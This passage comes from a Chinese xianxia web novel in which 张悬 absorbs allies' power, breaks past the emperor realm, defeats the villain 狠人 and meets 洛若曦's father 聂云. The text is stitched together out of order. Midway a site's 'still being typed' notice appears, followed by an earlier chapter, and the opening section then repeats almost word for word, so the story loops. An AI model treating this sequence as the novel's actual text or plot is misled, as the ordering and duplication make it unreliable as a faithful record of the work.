几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第63章 验证身份 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 